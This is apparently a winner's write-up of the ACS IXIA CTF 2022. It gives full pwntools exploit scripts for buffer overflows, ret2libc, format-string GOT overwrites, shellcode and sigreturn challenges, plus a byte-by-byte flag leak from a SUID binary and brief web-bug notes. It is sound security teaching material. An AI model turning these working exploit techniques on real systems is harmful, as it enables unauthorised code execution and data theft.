ACS IXIA CTF 2022
Fun weekend CTF, I managed to get 1st place for the 3rd year in a row! This was my last ACS IXIA CTF as I'm graduating this year.
- Zootopia 1 (50) - Exploit
- Zootopia 2 (50) - Exploit
- Zootopia 3 (75) - Exploit
- Zootopia 4 (75) - Exploit
- Only a Way Out (100) - Exploit
- Missing Piece (150) - Exploit
- Name Database (200) - Exploit
- Super Jump (125) - Misc
- Psychological Warfare (100) - Reverse
- Swim with the Sharks (100) - Reverse
- Magic Library (150) - Reverse
- Good Looking (100) - Web
- Cashflow (200) - Web
Zootopia 1 (50) - Exploit
This is the first challenge of a 4 challenge series. We have 4 binaries which have just a few differences between them.
This is the vulnerable part of the program:
In VulnFunction, 0x100 bytes are being read into buffer but as we can see in the Stack view on the left, size of buffer until saved return address is only 0x90 so we have a buffer overflow.
x86 binary with most protections disabled. We can just overwrite the return address and call system from function QuoteSystemFunction with the address of /bin/sh on the stack.
As we don't really have a /bin/sh string in the program, we must stack pivot in order to be able to execute commands.
We can stack pivot to .bss as there's a lot of space there.
As buffer is referenced by ebp, by setting ebp to an address from the .bss during the first buffer overflow we can write our second stage of the exploit there and on leave
instruction ebp will be copied into esp and we will be able to jump to our second stage exploit.
from pwn import *
# sh = process('./zootopia')
sh = remote('ctf-13.security.cs.pub.ro', 33317)
push_esp = 0x08048541
system = 0x80486b5 #0x8048490
vuln_function = 0x804871b # 0x8048712
mov_pebp_esp = 0x08049c12
new_ebp = 0x8060000
payload = b'/bin/sh\x00'
payload += b'A' * (0x90 - len(payload) - 4)
payload += p32(new_ebp)
payload += p32(vuln_function)
sh.sendline(payload)
payload = b'/bin/sh\x00'
payload += b'A' * (0x90 - len(payload))
payload += p32(system)
payload += p32(new_ebp+0xc)
payload += b'/bin/sh\x00'
"""
context.terminal = ['tmux','splitw','-h']
gdb.attach(sh, '''
break *0x804876a
continue
''')
"""
sh.sendline(payload)
sh.interactive()
ACS_IXIA_CTF{what_is_your_major_malfunction}
Zootopia 2 (50) - Exploit
This is pretty much the same as Zootopia 1, only difference is that the binary is x86-64 instead of x86.
The string address when calling system
must now be in rdi instead of on the stack, so we need a pop_rdi gadget.
We need to change some addresses and update values from 32 to 64 bits.
from pwn import *
#sh = process('./zootopia')
sh = remote('ctf-13.security.cs.pub.ro', 34317)
OFFSET_STACK = 0x98
system = 0x40088a #0x8048490
vuln_function = 0x4008ea # 0x8048712
pop_rdi = 0x402113
new_ebp = 0x640000
payload = b'/bin/sh\x00'
payload += b'A' * (OFFSET_STACK - len(payload) - 8)
payload += p64(new_ebp)
payload += p64(vuln_function)
sh.sendline(payload)
payload = b'/bin/sh\x00'
payload += b'A' * (OFFSET_STACK - len(payload))
payload += p64(pop_rdi)
payload += p64(new_ebp+0x20)
payload += p64(system)
payload += b'/bin/sh\x00'
"""
context.terminal = ['tmux','splitw','-h']
gdb.attach(sh, '''
break *0x400934
continue
''')
"""
sh.sendline(payload)
sh.interactive()
ACS_IXIA_CTF{we_sense_a_soul_in_search_of_answers}
Zootopia 3 (75) - Exploit
x86 binary, same as Zootopia 1 but the system function is not imported into the binary. We are given the server's libc so we must first leak the libc value and then either call one_gadget or call system from libc.
We now have 3 stages. First we pivot our stack to bss, then we leak the address of puts, then we call one_gadget.
from pwn import *
# sh = process('./zootopia')
sh = remote('ctf-13.security.cs.pub.ro', 35317)
pop_esi_edi_ebp_ret = 0x08049b90
vuln_function = 0x80486dc # 0x8048712
ret = 0x080483fe
call_puts = 0x80486c8
puts_got_plt = 0x804c018
new_ebp = 0x8090000
payload = b''
payload += b'\x00' * (0x90 - len(payload) - 4)
payload += p32(new_ebp)
payload += p32(vuln_function)
sh.sendline(payload)
payload = b''
payload += b'\x00' * (0x90 - len(payload) - 4)
payload += p32(new_ebp + 12)
payload += p32(call_puts)
payload += p32(puts_got_plt)
payload += p32(new_ebp+0x1000)
payload += p32(vuln_function)
sh.sendline(payload)
r = sh.recvuntil(b'\xf7')
puts_libc_leak = int(r[-4:][::-1].hex(),16)
print("Puts leak:", hex(puts_libc_leak))
libc_puts = 0x67d90 # 0x6dc30
libc_base = puts_libc_leak - libc_puts
libc_one_gadget = 0x137eef # 0x14480c # 0x41790 # 0x3d3d0
one_gadget = libc_base + libc_one_gadget
print("Libc base:", hex(libc_base))
print("Libc one_gadget:", hex(one_gadget))
payload = b''
payload += b'\x00' * (0x90 - len(payload) - 4)
PLTGOT = 0x1d8000 # 0x1eb000
payload += p32(new_ebp)
pop_ebx = 0x08048415
payload += p32(pop_ebx)
payload += p32(libc_base + PLTGOT)
payload += p32(one_gadget)
payload += b'\x00\x00\x00\x00' * 10
"""
context.terminal = ['tmux','splitw','-h']
gdb.attach(sh, '''
break *0x804872b
continue
''')
"""
sh.sendline(payload)
sh.interactive()
ACS_IXIA_CTF{I_heed_thy_call}
Zootopia 4 (75) - Exploit
x86-64 binary, same as Zootopia 2 but the system function is not imported into the binary. We are given the server's libc so we must first leak the libc value and then either call one_gadget or call system from libc.
We now have 3 stages. First we pivot our stack to bss, then we leak the address of puts, then we call one_gadget.
from pwn import *
#sh = process('./zootopia')
sh = remote('ctf-13.security.cs.pub.ro', 36317)
OFFSET_STACK = 0x98
vuln_function = 0x4008a0 # 0x8048712
call_puts = 0x40088d
puts_got_plt = 0x603020
pop_rdi = 0x4020d3
new_ebp = 0x670000
payload = b'/bin/sh\x00'
payload += b'A' * (OFFSET_STACK - len(payload) - 8)
payload += p64(new_ebp)
payload += p64(vuln_function)
sh.sendline(payload)
payload = b'/bin/sh\x00'
payload += b'A' * (OFFSET_STACK - len(payload) - 8)
payload += p64(new_ebp)
payload += p64(pop_rdi)
payload += p64(puts_got_plt)
payload += p64(call_puts)
payload += p64(new_ebp+0x1000)
payload += p64(vuln_function)
"""
context.terminal = ['tmux','splitw','-h']
gdb.attach(sh, '''
break *0x4008ea
continue
''')
"""
sh.sendline(payload)
r = sh.recvuntil(b'\x7f')
puts_libc_leak = int(r[-6:][::-1].hex(),16)
print("Puts leak:", hex(puts_libc_leak))
puts_libc = 0x80970 # 0x84450
libc_base = puts_libc_leak - puts_libc
print("Libc base:", hex(libc_base))
one_gadget = libc_base + 0x4f302 # 0xe3b2e
ret = 0x400616
big_pop = 0x4020cc
payload = b''
payload += b'\x00' * (OFFSET_STACK - len(payload) - 8)
payload += p64(new_ebp)
payload += p64(one_gadget)
payload += b'\x00' * 100
sh.sendline(payload)
sh.interactive()
ACS_IXIA_CTF{you_wanna_piece_of_me}
Only a Way Out (100) - Exploit
We're given ssh credentials to login into a server. On there there is a binary with SUID permissions called only_a_way_out
, we need to exploit this binary to get the flag.
We find out that we are able to leak 1 byte from the flag by using the exit code of the application, we can then read the exit code using echo. We repeat this process, each time incrementing the address by 1, until we meet a null byte.
$ printf "\x66\x48\x8b\x3c\x25\xe0\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
65
$ printf "\x66\x48\x8b\x3c\x25\xe1\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
67
$ printf "\x66\x48\x8b\x3c\x25\xe2\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
83
$ printf "\x66\x48\x8b\x3c\x25\xe3\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
95
$ printf "\x66\x48\x8b\x3c\x25\xe4\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
73
$ printf "\x66\x48\x8b\x3c\x25\xe5\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
88
$ printf "\x66\x48\x8b\x3c\x25\xe6\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
73
$ printf "\x66\x48\x8b\x3c\x25\xe7\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
65
$ printf "\x66\x48\x8b\x3c\x25\xe8\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
95
$ printf "\x66\x48\x8b\x3c\x25\xe9\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
67
$ printf "\x66\x48\x8b\x3c\x25\xea\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
84
$ printf "\x66\x48\x8b\x3c\x25\xeb\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
70
$ printf "\x66\x48\x8b\x3c\x25\xec\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
123
$ printf "\x66\x48\x8b\x3c\x25\xed\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
97
$ printf "\x66\x48\x8b\x3c\x25\xee\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
110
$ printf "\x66\x48\x8b\x3c\x25\xef\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
121
$ printf "\x66\x48\x8b\x3c\x25\xf0\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
95
$ printf "\x66\x48\x8b\x3c\x25\xf1\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
108
$ printf "\x66\x48\x8b\x3c\x25\xf2\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
101
$ printf "\x66\x48\x8b\x3c\x25\xf3\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
97
$ printf "\x66\x48\x8b\x3c\x25\xf4\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
107
$ printf "\x66\x48\x8b\x3c\x25\xf5\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
95
$ printf "\x66\x48\x8b\x3c\x25\xf6\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
105
$ printf "\x66\x48\x8b\x3c\x25\xf7\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
115
$ printf "\x66\x48\x8b\x3c\x25\xf8\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
95
$ printf "\x66\x48\x8b\x3c\x25\xf9\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
116
$ printf "\x66\x48\x8b\x3c\x25\xfa\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
111
$ printf "\x66\x48\x8b\x3c\x25\xfb\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
111
$ printf "\x66\x48\x8b\x3c\x25\xfc\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
95
$ printf "\x66\x48\x8b\x3c\x25\xfd\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
98
$ printf "\x66\x48\x8b\x3c\x25\xfe\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
105
$ printf "\x66\x48\x8b\x3c\x25\xff\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
103
$ printf "\x66\x48\x8b\x3c\x25\x00\x21\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
125
$ printf "\x66\x48\x8b\x3c\x25\x01\x21\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
0
ACS_IXIA_CTF{any_leak_is_too_big}
Missing Piece (150) - Exploit
x86-64 binary with no protections.
This is the main function
We have a format string and then a buffer overflow. We're able to get the address of our malloc'ed memory and because there is no NX protection we can jump there and execute our shellcode.
from pwn import *
context.clear(arch = 'amd64')
shellcode = asm('\n'.join([
shellcraft.sh(),
]))
print(shellcode)
#sh = process('./missing-piece')
sh = remote('ctf-15.security.cs.pub.ro', 31337)
"""
context.terminal = ['tmux','splitw','-h']
gdb.attach(sh, '''
break *0x4012B7
continue
''')
"""
sh.sendline(b' '.join(f'%{i}$p'.encode() for i in range(1, 50)))
addr = sh.recvline().split(b' ')
old_rbp = int(addr[13][2:],16)
dest = old_rbp - 102
print('dest:', hex(dest))
payload = shellcode + b'A' * (0x80 - len(shellcode) + 8) + p64(dest)
print(payload.hex())
sh.sendline(payload)
sh.interactive()
ACS_IXIA_CTF{M3_f0und_y0u_Lo0o0ng_t1m3}
Name Database (200) - Exploit
This looked like a heap challenge, however I solved it using Format String.
This is the decompiled main function:
We can create notes which are inserted into a Linked List. Each note has an ID, a char* name which gets allocated on the heap and a pointer to the next element in the Linked List.
We can also delete notes, which deallocates the memory correctly.
Using FSB, we can overwrite free to point to system in .got.plt, and when deleting a /bin/sh
note we will get a shell.
I'm using FmtStr
from pwntools in order to automate the process. As strcpy is used after reading our input, our payloads cannot contain nullbyte. That's why we have to pad the input and to clear the stack with multiple notes.
from pwn import *
context.clear(arch = 'amd64')
def exec_fmt(payload):
p = process('./name_database')
p.sendline(b'1')
p.sendline(payload)
p.sendline(b'1')
p.sendline(b'5')
return p.recvall()
def exec_haha(payload, p):
p.sendline(b'1')
p.sendline(payload)
p.sendline(b'1')
return p.recvuntil(b'5: Exit')
autofmt = FmtStr(exec_fmt)
offset = autofmt.offset
#p = process('./name_database')
p = remote('ctf-15.security.cs.pub.ro', 41337)
p.recvuntil(b'5: Exit')
#for i in range(19, 20):
# r = exec_fmt(f'%{i}$p'.encode()).split(b'\n')[-9].split(b' ')[-1]
# print(i, r)
libc_start_main_leak = int(exec_haha(f'%19$p'.encode(), p).split(b'\n')[2].split(b' ')[-1][2:],16)
offset_main = 0x21C87
#offset_main = 0x240B3
libc_leak = libc_start_main_leak - offset_main
print(hex(libc_start_main_leak))
print(hex(libc_leak))
system_offset = 0x4F420
#system_offset = 0x522C0
system = libc_leak + system_offset
# LSB SYSTEM
for i in range(53,0,-1):
print(i)
exec_haha(b'A' * i, p)
payload = fmtstr_payload(offset, {0x602018: (system)&0xFFFF}, numbwritten=16, write_size='short')
p.sendline(b'1')
p.send(b'aaaaaa'+payload)
p.sendline(b'1')
# MID SYSTEM
for i in range(53,0,-1):
print(i)
exec_haha(b'A' * i, p)
payload = fmtstr_payload(offset, {0x60201A: (system>>16)&0xFFFF}, numbwritten=16, write_size='short')
p.sendline(b'1')
p.send(b'aaaaaa'+payload)
p.sendline(b'1')
# MSB SYSTEM
for i in range(53,0,-1):
print(i)
exec_haha(b'A' * i, p)
payload = fmtstr_payload(offset, {0x60201C: (system>>32)&0xFFFF}, numbwritten=16, write_size='short')
#context.terminal = ['tmux','splitw','-h']
#gdb.attach(p, '''
#break *0x400D65
#continue
#''')
p.sendline(b'1')
p.send(b'aaaaaa'+payload)
p.sendline(b'1')
p.sendline(b'1')
p.sendline(b'//bin/bash')
p.sendline(b'2')
p.interactive()
ACS_IXIA_CTF{exploit_heap_you_must_not}
Super Jump (125) - Misc
Sigreturn challenge. This is the decompiled main function:
Thankfully we can SigreturnFrame from pwntools in order to automatically generate the memory structure required.
We'll jump to the address given to us by the binary.
In order to get the flag, we must set some registers as so:
from pwn import *
import struct
context.clear()
context.arch = "amd64"
# sh = process('super-jump/super_jump')
sh = remote('141.85.224.115', 31737)
addr = int(sh.recvuntil(b'?').split(b' ')[-1][2:-1],16)
print(hex(addr))
frame = SigreturnFrame()
frame.rax = 0x11111111
frame.rbx = 0x22222222
frame.rcx = 0x33333333
frame.rdx = 0x44444444
frame.r8 = 0x55555555
frame.r9 = 0x66666666
frame.r10 = 0x77777777
frame.r11 = 0x88888888
frame.r12 = 0x99999999
frame.r13 = 0xaaaaaaaa
frame.r14 = 0xbbbbbbbb
frame.r15 = 0xcccccccc
frame.rdi = 0xdddddddd
frame.rsi = 0xeeeeeeee
frame.rbp = 0xffffffff
frame.rip = addr
frame.rsp = addr + 4096
f = bytes(frame)
sh.sendline(b'0')
for i in range(0,len(f),8):
i = struct.unpack('<Q', f[i:i+8])[0]
sh.sendline(str(i).encode())
sh.interactive()
ACS_IXIA_CTF{I_got_99_statements_but_a_switch_ain't_one}
Psychological Warfare (100) - Reverse
Challenge obfuscated with movfuscator. We can try to use demovfuscator but it doesn't help much.
We can solve this challenge by using ltrace:
fopen("/tmp/JVmbzSL4u", "w") = 0x8a681a0
--- SIGSEGV (Segmentation fault) ---
fprintf(0x8a681a0, "%s \n", "ZjQyMjQ3Y2M5MDk2NTk3MTM0NGQ0NGE5YTM4NWQ2OGU1NDlhMDU3NzBkZjM3ODI1ZmZhY2E2Y2YwNzAwNWVkNjRmY2YzYjkzZGQ5"...) = 130
--- SIGSEGV (Segmentation fault) ---
fopen("/tmp/YiTjXhGxy", "w") = 0x8a692f0
--- SIGSEGV (Segmentation fault) ---
fprintf(0x8a692f0, "%s\n%s\n%s\n", "755f85c2723bb39381c7379a604160d8", "9dfc8dce7280fd49fc6e7bf0436ed325", "5f4dcc3b5aa765d61d8327deb882cf99") = 99
--- SIGSEGV (Segmentation fault) ---
fclose(0x8a681a0) = 0
--- SIGSEGV (Segmentation fault) ---
fclose(0x8a692f0) = 0
--- SIGSEGV (Segmentation fault) ---
printf("Give me something to decrypt\n"Give me something to decrypt
) = 29
--- SIGSEGV (Segmentation fault) ---
fgets(gets1
"gets1\n", 200, 0xf7eca6c0) = 0x8604f18
--- SIGSEGV (Segmentation fault) ---
printf("Give me the key\n"Give me the key
) = 16
--- SIGSEGV (Segmentation fault) ---
fgets(gets2
"gets2\n", 50, 0xf7eca6c0)
--- SIGSEGV (Segmentation fault) ---
strncmp("gets1\n", "f42247cc90965971344d44a9a385d68e549a05770df37825ffaca6cf07005ed64fcf3b93dd93c517088445fdecaa1da4vuis"..., 96) = 1
--- SIGSEGV (Segmentation fault) ---
printf("Decryption failed\n"Decryption failed
) = 18
=>
gets1 = f42247cc90965971344d44a9a385d68e549a05770df37825ffaca6cf07005ed64fcf3b93dd93c517088445fdecaa1da4
=>
--- SIGSEGV (Segmentation fault) ---
strncmp("f42247cc90965971344d44a9a385d68e549a05770df37825ffaca6cf07005ed64fcf3b93dd93c517088445fdecaa1da4\n", "f42247cc90965971344d44a9a385d68e549a05770df37825ffaca6cf07005ed64fcf3b93dd93c517088445fdecaa1da4vuis"..., 96) = 0
--- SIGSEGV (Segmentation fault) ---
strncmp("gets2\n", "goodsafepasswordtottalynotobviousstringputheretofrustrateyou}", 16) = -1
--- SIGSEGV (Segmentation fault) ---
printf("Decryption failed\n"Decryption failed
)
gets2 = goodsafepassword
=>
$ ./psychological_warfare
Give me something to decrypt
f42247cc90965971344d44a9a385d68e549a05770df37825ffaca6cf07005ed64fcf3b93dd93c517088445fdecaa1da4
Give me the key
goodsafepassword
ACS_IXIA_CTF{stay_away_from_my_code}
ACS_IXIA_CTF{stay_away_from_my_code}
Swim with the Sharks (100) - Reverse
We are given two files xaa and xab, we must concatenate them and we get a .tar.gz file. Inside there is an ocean.tar file that has the following structure:
$ ls -1
2fa42b5139cbe5c9864c49b1562dca501b0731b89404184626212e8e54961a15
7a8be22df41eec4a7ed754c8eb5a7ca16431e848ab69526d208dd29e635297c8
990d174d9cb085e6608617e0748bcb9d4264b92f91c1115ec0e21d7483f0d61c
dad1e4181f5bd3ca10bd9893ebfd7dc9683355248a876c628428cacc832c002a.json
f7f872b38b9d7945f01cbd16724d44cf6783cb693a21c9547e8441b79b4da335
manifest.json
repositories
The hexadecimal directories are layers from a Docker image, as the layers are .tar files, we can just unarchive them. We know that the flag is under home/ctf/flag so we can use find.
./7a8be22df41eec4a7ed754c8eb5a7ca16431e848ab69526d208dd29e635297c8/layer/home/ctf/flag
However it is encrypted. By reading dad1e4181f5bd3ca10bd9893ebfd7dc9683355248a876c628428cacc832c002a.json
we can get the command executed on the flag file:
"/bin/sh -c #(nop) ENV API_KEY=uEVuqShjTzNeOlIlQUusJwAYwkfmDEjGCSVDZDU"
=>
"/bin/sh -c #(nop) COPY file:be79d7f31957fdf9a0fc4d1d12fb75f901066be6b655f8ddff3cf50240c7178e in /bin/encrypt "
=>
"/bin/sh -c #(nop) CMD [\"/bin/sh\" \"-c\" \"echo \\\"Oh no! The master messed up with the flag. Can you find how he did that?\\\"\"]"
The encrypt binary is just xoring the flag file with the API_KEY.
$ python3
Python 3.8.10 (default, Nov 26 2021, 20:14:08)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> a = open('flag','rb').read()
>>> a
b'4\x06\x05*8\x0b!+\x0b9\x1a#4\x15&\x19\x0e6\x14\x1d\x15\x14 5\x1b4\x0b\x08\x1b(\x05%:\x0c2+9/('
>>> from pwn import xor
>>> xor(a,'uEVuqShjTzNeOlIlQUusJwAYwkfmDEjGCSVDZDU')
b'ACS_IXIA_CTF{you_can_call_me_moby_dock}'
ACS_IXIA_CTF{you_can_call_me_moby_dock}
Magic Library (150) - Reverse
This is the decompiled main of the magic-lib binary:
The program reads 0x4e20 (20000) bytes from stdin, creates a temporary file in /tmp and places our input into that file.
Then it opens that file using dlsym
, so it is opening it as a dynamic library and it returns the handle.
It then tries to get the exported function magic_function
and if it finds it then it calls the function with 2 parameters, int* and char*. If after calling the function the value of the int is 0xDEADBEEF, then the second argument is passed into system.
So we need to create a shared object that implements magic_function with our payload in the second argument.
The payload:
#include <stdio.h>
#include <string.h>
// gcc -c -Wall -Werror -fpic solve.c && gcc -shared -o libsolve.o solve.o
void magic_function(int* a, char* b)
{
*a = 0xDEADBEEF;
char *s = "cat /home/ctf/flag";
int z = strlen(s);
for (int i=0;i<z+1;i++)
{
b[i] = s[i];
}
}
ACS_IXIA_CTF{who_doesnt_love_libraries}
Good Looking (100) - Web
NoSQL injection in login form:
Turns out the flag is base64 encoded in the returned msg:
QUNTX0lYSUFfQ1RGe3RoM19jMDBsM3N0X3ByMGZpbDNfaW1hZzN9Cg==
is the base64 encoded flag.
ACS_IXIA_CTF{th3_c00l3st_pr0fil3_imag3}
Cashflow (200) - Web
Create an account, bruteforce /index.php for POST/GET parameters and we find ?amount which shows us our balance. Send negative amount and we notice our balance is getting higher. Repeat this process until we get 1 million coins.
ACS_IXIA_CTF{you_4re_4_m1ll1on4ir3_congr4ts}